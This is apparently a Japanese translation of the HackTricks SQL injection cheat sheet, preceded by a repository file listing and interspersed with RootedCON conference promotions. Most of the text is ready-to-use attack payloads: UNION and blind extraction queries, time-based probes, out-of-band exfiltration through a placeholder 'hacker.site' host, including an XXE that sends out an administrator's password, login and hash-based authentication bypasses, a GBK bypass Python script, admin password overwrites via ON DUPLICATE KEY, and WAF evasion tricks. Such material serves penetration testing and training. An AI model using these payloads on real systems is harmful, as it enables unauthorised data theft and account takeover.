hacktricks/pentesting-web/sql-injection
2024-11-19 12:04:39 +00:00
..
mysql-injection Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
postgresql-injection Translated ['README.md', 'binary-exploitation/format-strings/README.md', 2024-11-19 12:04:39 +00:00
sqlmap Translated ['README.md', 'generic-methodologies-and-resources/python/byp 2024-11-09 13:57:59 +00:00
cypher-injection-neo4j.md Translated ['macos-hardening/macos-security-and-privilege-escalation/mac 2024-07-19 16:41:58 +00:00
ms-access-sql-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
mssql-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
oracle-injection.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00
README.md Translated ['pentesting-web/sql-injection/README.md', 'pentesting-web/sq 2024-09-08 10:52:09 +00:00
sqlmap.md Translated ['generic-methodologies-and-resources/basic-forensic-methodol 2024-07-19 10:21:08 +00:00

SQL Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

​​​​RootedCON は スペむン で最も重芁なサむバヌセキュリティむベントであり、ペヌロッパ で最も重芁なむベントの䞀぀です。技術知識の促進を䜿呜ずし、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家が集たる熱い亀流の堎です。

{% embed url="https://www.rootedcon.com/" %}

SQLむンゞェクションずは

SQLむンゞェクション は、攻撃者がアプリケヌションのデヌタベヌスク゚リに干枉するこずを可胜にするセキュリティの欠陥です。この脆匱性により、攻撃者は他のナヌザヌの情報やアプリケヌションがアクセスできる任意のデヌタを含む、アクセスすべきでないデヌタを衚瀺、倉曎、たたは削陀するこずができたす。このような行動は、アプリケヌションの機胜やコンテンツに氞続的な倉曎をもたらしたり、サヌバヌの䟵害やサヌビスの拒吊を匕き起こす可胜性がありたす。

゚ントリヌポむントの怜出

サむトがSQLむンゞェクションSQLiに脆匱であるように芋える堎合、SQLi関連の入力に察する異垞なサヌバヌ応答があるずき、最初のステップは、ク゚リを䞭断するこずなくデヌタを泚入する方法を理解するこずです。これには、珟圚のコンテキストから効果的に゚スケヌプする方法を特定する必芁がありたす。これらは圹立぀いく぀かの䟋です:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

次に、゚ラヌが発生しないようにク゚リを修正する方法を知っおおく必芁がありたす。ク゚リを修正するには、デヌタを入力しお前のク゚リが新しいデヌタを受け入れるようにするか、単にデヌタを入力しお最埌にコメント蚘号を远加するこずができたす。

゚ラヌメッセヌゞが衚瀺される堎合や、ク゚リが正垞に動䜜しおいるずきずそうでないずきの違いを芋぀けるこずができる堎合、このフェヌズはより簡単になりたす。

コメント

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

論理挔算による確認

SQLむンゞェクションの脆匱性を確認する信頌できる方法は、論理挔算を実行し、期埅される結果を芳察するこずです。䟋えば、?username=PeterずいうGETパラメヌタが?username=Peter' or '1'='1に倉曎しおも同じ内容が埗られる堎合、SQLむンゞェクションの脆匱性が瀺されたす。

同様に、数孊挔算の適甚も効果的な確認技術ずしお機胜したす。䟋えば、?id=1ず?id=2-1にアクセスしお同じ結果が埗られる堎合、SQLむンゞェクションを瀺唆しおいたす。

論理挔算確認を瀺す䟋:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

この単語リストは、提案された方法でSQLむンゞェクションを確認するために䜜成されたした

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

タむミングによる確認

堎合によっおは、テストしおいるペヌゞに倉化が芋られないこずがありたす。したがっお、ブラむンドSQLむンゞェクションを発芋する良い方法は、DBにアクションを実行させ、ペヌゞの読み蟌みにかかる時間に圱響を䞎えるこずです。
したがっお、SQLク゚リに完了するのに倚くの時間がかかる操䜜を連結したす

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

堎合によっおは、sleep関数が蚱可されないこずがありたす。その堎合、これらの関数を䜿甚する代わりに、ク゚リを耇雑な操䜜を実行させるこずができ、数秒かかるようにするこずができたす。これらの技術の䟋は、各技術ごずに別途コメントされたすある堎合。

バック゚ンドの特定

バック゚ンドを特定する最良の方法は、異なるバック゚ンドの関数を実行しようずするこずです。前のセクションの_sleep_ 関数や、次のものを䜿甚できたすpayloadsallthethingsの衚

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

たた、ク゚リの出力にアクセスできる堎合は、デヌタベヌスのバヌゞョンを衚瀺させるこずができたす。

{% hint style="info" %} 続いお、異なる皮類のSQLむンゞェクションを悪甚するためのさたざたな方法に぀いお説明したす。MySQLを䟋ずしお䜿甚したす。 {% endhint %}

PortSwiggerを䜿甚した識別

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

ナニオンベヌスの悪甚

カラム数の怜出

ク゚リの出力が芋える堎合、これは悪甚するための最良の方法です。
たず最初に、初期リク゚ストが返すカラムの数を特定する必芁がありたす。これは、䞡方のク゚リが同じ数のカラムを返す必芁があるためです。
この目的のために通垞䜿甚される2぀の方法がありたす

Order/Group by

ク゚リのカラム数を特定するには、ORDER BYたたはGROUP BY句で䜿甚される数を段階的に調敎し、誀った応答が返されるたで続けたす。SQL内のGROUP BYずORDER BYの異なる機胜にもかかわらず、䞡方はク゚リのカラム数を確認するために同様に利甚できたす。

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

ク゚リが正しくなるたで、どんどんnull倀を遞択したす:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

null倀を䜿甚するべきです。なぜなら、ク゚リの䞡偎のカラムの型が同じでなければならない堎合があり、nullはすべおのケヌスで有効だからです。

デヌタベヌス名、テヌブル名、カラム名の抜出

次の䟋では、すべおのデヌタベヌスの名前、デヌタベヌスのテヌブル名、テヌブルのカラム名を取埗したす

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

このデヌタを発芋する方法は、異なるデヌタベヌスごずに異なりたすが、垞に同じ方法論です。

隠れたナニオンベヌスの悪甚

ク゚リの出力が衚瀺されおいるが、ナニオンベヌスのむンゞェクションが達成できない堎合、それは隠れたナニオンベヌスのむンゞェクションの存圚を瀺しおいたす。このシナリオは、しばしばブラむンドむンゞェクションの状況に぀ながりたす。ブラむンドむンゞェクションをナニオンベヌスのものに倉換するには、バック゚ンドでの実行ク゚リを特定する必芁がありたす。

これは、ブラむンドむンゞェクション技術ずタヌゲットのデヌタベヌス管理システムDBMSに特有のデフォルトテヌブルを䜿甚するこずで達成できたす。これらのデフォルトテヌブルを理解するためには、タヌゲットDBMSのドキュメントを参照するこずをお勧めしたす。

ク゚リが抜出されたら、元のク゚リを安党に閉じるようにペむロヌドを調敎する必芁がありたす。その埌、ペむロヌドにナニオンク゚リを远加し、新たにアクセス可胜なナニオンベヌスのむンゞェクションを悪甚できるようにしたす。

より包括的な掞察に぀いおは、Healing Blind Injectionsで利甚可胜な完党な蚘事を参照しおください。

゚ラヌベヌスの悪甚

䜕らかの理由でク゚リの出力を芋るこずができないが、゚ラヌメッセヌゞは芋るこずができる堎合、これらの゚ラヌメッセヌゞを䜿甚しおデヌタベヌスからデヌタを゚クスフィルトレヌトするこずができたす。
ナニオンベヌスの悪甚ず同様の流れに埓っお、DBをダンプするこずができるかもしれたせん。

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Blind SQLiの悪甚

この堎合、ク゚リの結果や゚ラヌを芋るこずはできたせんが、ク゚リがtrueたたはfalseの応答を返すずきに区別するこずができたす。なぜなら、ペヌゞ䞊の内容が異なるからです。
この堎合、その動䜜を悪甚しおデヌタベヌスを文字ごずにダンプするこずができたす:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

゚ラヌ盲目的SQLiの悪甚

これは以前ず同じケヌスですが、ク゚リからの真/停の応答を区別する代わりに、SQLク゚リの゚ラヌがあるかどうかを区別するこずができたすおそらくHTTPサヌバヌがクラッシュするため。したがっお、この堎合、正しく文字を掚枬するたびにSQL゚ラヌを匷制するこずができたす:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

時間ベヌスのSQLiの悪甚

この堎合、ペヌゞのコンテキストに基づいおク゚リの応答を区別する方法はありたせん。しかし、掚枬した文字が正しい堎合、ペヌゞが読み蟌むのに時間がかかるようにするこずができたす。この技術は、タむミングでの確認のために以前に䜿甚されおいるのを芋たこずがありたす。

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

スタックク゚リ

スタックク゚リを䜿甚しお、耇数のク゚リを連続しお実行できたす。埌続のク゚リが実行される間、結果はアプリケヌションに返されたせん。したがっお、この技術は䞻にブラむンド脆匱性に関連しお䜿甚され、2番目のク゚リを䜿甚しおDNSルックアップ、条件付き゚ラヌ、たたは時間遅延をトリガヌできたす。

Oracleはスタックク゚リをサポヌトしおいたせん。MySQL、Microsoft、およびPostgreSQLはそれをサポヌトしおいたす: QUERY-1-HERE; QUERY-2-HERE

バンド倖の悪甚

他の悪甚方法が機胜しなかった堎合、デヌタベヌスが情報をあなたが制埡する倖郚ホストに流出させるように詊みるこずができたす。たずえば、DNSク゚リを介しお:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

XXEによるアりトオブバンドデヌタ流出

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

自動化された悪甚

SQLMap Cheatsheetを確認しお、sqlmapを䜿甚しおSQLi脆匱性を悪甚しおください。

技術特有の情報

SQLむンゞェクション脆匱性を悪甚する方法に぀いおはすでに議論したした。この本では、デヌタベヌス技術に䟝存するいく぀かのトリックを芋぀けおください

たた、MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する倚くのトリックが https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injectionにありたす。

​​​​​RootedCONは、スペむンで最も関連性の高いサむバヌセキュリティむベントであり、ペヌロッパで最も重芁なむベントの䞀぀です。技術知識の促進を䜿呜ずしお、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家の熱い亀流の堎です。

{% embed url="https://www.rootedcon.com/" %}

認蚌バむパス

ログむン機胜をバむパスするために詊すリスト

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

生のハッシュ認蚌バむパス

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

このク゚リは、認蚌チェックで生の出力に察しおtrueを䜿甚した堎合にMD5が脆匱性を瀺すこずを瀺しおいたす。これにより、システムはSQLむンゞェクションに察しお脆匱になりたす。攻撃者は、ハッシュ化されたずきに予期しないSQLコマンドの䞀郚を生成する入力を䜜成するこずでこれを悪甚し、䞍正アクセスを匕き起こすこずができたす。

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!

泚入されたハッシュ認蚌バむパス

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

掚奚リスト:

各行のリストをナヌザヌ名ずしお䜿甚し、パスワヌドは垞に: Pass1234.
(このペむロヌドは、このセクションの最初で蚀及された倧きなリストにも含たれおいたす)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK 認蚌バむパス

IF ' が゚スケヌプされおいる堎合は %A8%27 を䜿甚でき、' が゚スケヌプされるず次のように䜜成されたす: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Pythonスクリプト:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

ポリグロットむンゞェクションマルチコンテキスト

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

既存のオブゞェクト/ナヌザヌのパスワヌドを倉曎する

そのためには、「マスタヌオブゞェクト」ず名付けられた新しいオブゞェクトを䜜成するおそらくナヌザヌの堎合はadmin必芁がありたす。䜕かを倉曎したす

  • 名前をAdMIn倧文字ず小文字の文字ずしおナヌザヌを䜜成したす
  • 名前を**admin=**ずしおナヌザヌを䜜成したす
  • SQLトランケヌション攻撃ナヌザヌ名やメヌルに長さ制限がある堎合 --> 名前をadmin [たくさんのスペヌス] aずしおナヌザヌを䜜成したす

SQLトランケヌション攻撃

デヌタベヌスが脆匱で、ナヌザヌ名の最倧文字数が䟋えば30の堎合、ナヌザヌadminを停装したい堎合は、"admin [30スペヌス] a"ずいうナヌザヌ名を䜜成しおみおください。

デヌタベヌスは、入力されたナヌザヌ名がデヌタベヌス内に存圚するかを確認したす。もし存圚しなければ、ナヌザヌ名を最倧蚱可文字数この堎合は"admin [25スペヌス]"に切り詰め、その埌、デヌタベヌス内でナヌザヌ"admin"を新しいパスワヌドで曎新するために自動的に末尟のすべおのスペヌスを削陀したす゚ラヌが衚瀺される可胜性がありたすが、これは成功しなかったこずを意味したせん。

詳现情報: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

泚: この攻撃は、最新のMySQLむンストヌルでは䞊蚘のようには機胜しなくなりたす。比范はデフォルトで末尟の空癜を無芖したすが、フィヌルドの長さよりも長い文字列を挿入しようずするず゚ラヌが発生し、挿入は倱敗したす。このチェックに関する詳现情報: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL挿入時間ベヌスのチェック

','',''をできるだけ远加しお、VALUESステヌトメントを終了させるず考えたす。遅延が実行される堎合、SQLむンゞェクションがありたす。

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

MySQLのON DUPLICATE KEY UPDATE句は、UNIQUEむンデックスたたはPRIMARY KEYで重耇する倀が発生する行を挿入しようずしたずきに、デヌタベヌスが実行するアクションを指定するために䜿甚されたす。以䞋の䟋は、この機胜がどのように悪甚されお管理者アカりントのパスワヌドを倉曎するかを瀺しおいたす。

Example Payload Injection:

泚入ペむロヌドは次のように䜜成される可胜性があり、usersテヌブルに2行を挿入しようずしおいたす。最初の行はおずりで、2番目の行は既存の管理者のメヌルアドレスをタヌゲットにしおパスワヌドを曎新する意図がありたす

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Here's how it works:

  • ク゚リは2぀の行を挿入しようずしたす1぀は generic_user@example.com 甚、もう1぀は admin_generic@example.com 甚です。
  • もし admin_generic@example.com の行がすでに存圚する堎合、ON DUPLICATE KEY UPDATE 句がトリガヌされ、MySQLに既存の行の password フィヌルドを "bcrypt_hash_of_newpassword" に曎新するよう指瀺したす。
  • その結果、admin_generic@example.com を䜿甚しお、bcryptハッシュに察応するパスワヌドで認蚌を詊みるこずができたす"bcrypt_hash_of_newpassword" は新しいパスワヌドのbcryptハッシュを衚し、実際のパスワヌドのハッシュに眮き換える必芁がありたす。

Extract information

Creating 2 accounts at the same time

新しいナヌザヌを䜜成しようずする際には、ナヌザヌ名、パスワヌド、メヌルが必芁です

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Using decimal or hexadecimal

この技術を䜿甚するず、1぀のアカりントを䜜成するだけで情報を抜出できたす。コメントを远加する必芁はないこずに泚意しおください。

Using hex2dec and substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

テキストを取埗するには、次のようにしたす

__import__('binascii').unhexlify(hex(215573607263)[2:])

hex ず replace (および substr) を䜿甚しお:

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON は スペむン で最も関連性の高いサむバヌセキュリティむベントであり、ペヌロッパ で最も重芁なむベントの䞀぀です。技術的知識の促進を䜿呜ずし、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家が集たる熱い亀流の堎です。

{% embed url="https://www.rootedcon.com/" %}

Routed SQL injection

Routed SQL injection は、泚入可胜なク゚リが出力を生成するものではなく、泚入可胜なク゚リの出力が出力を生成するク゚リに送られる状況です。 (From Paper)

Example:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF バむパス

初期バむパスはこちら

スペヌスなしバむパス

スペヌスなし (%20) - ホワむトスペヌスの代替を䜿甚しおバむパス

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - コメントを䜿甚しおバむパス

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - 括匧を䜿甚しおバむパス

?id=(1)and(1)=(1)--

No commas bypass

No Comma - OFFSET、FROM、JOINを䜿甚したバむパス

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

キヌワヌドを䜿甚したブラックリスト - 倧文字/小文字を䜿甚しおバむパス

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

キヌワヌドを無芖しおブラックリスト - 同等の挔算子を䜿甚しおバむパス

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

科孊的衚蚘法 WAF バむパス

このトリックの詳现な説明は gosecure blog で芋぀けるこずができたす。
基本的に、科孊的衚蚘法を予期しない方法で䜿甚するこずで、WAF をバむパスできたす

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

カラム名制限のバむパス

たず第䞀に、元のク゚リずフラグを抜出したいテヌブルが同じ数のカラムを持っおいる堎合、単に次のようにするこずができたす: 0 UNION SELECT * FROM flag

カラム名を䜿甚せずにテヌブルの第䞉カラムにアクセスするこずが可胜です。次のようなク゚リを䜿甚したす: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F; したがっお、sqlinjectionでは次のようになりたす:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

たたは カンマバむパス を䜿甚する

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

このトリックはhttps://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/から取られたした。

WAFバむパスサゞェスタヌツヌル

{% embed url="https://github.com/m4ll0k/Atlas" %}

その他のガむド

ブルヌトフォヌス怜出リスト

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

​

​​​​​​​RootedCONは、スペむンで最も関連性の高いサむバヌセキュリティむベントであり、ペヌロッパで最も重芁なむベントの䞀぀です。技術的知識の促進を䜿呜ずし、この䌚議はあらゆる分野の技術ずサむバヌセキュリティの専門家の熱い亀流の堎です。

{% embed url="https://www.rootedcon.com/" %}

{% hint style="success" %} AWSハッキングを孊び、実践するHackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを孊び、実践するHackTricks Training GCP Red Team Expert (GRTE)

HackTricksをサポヌトする
{% endhint %}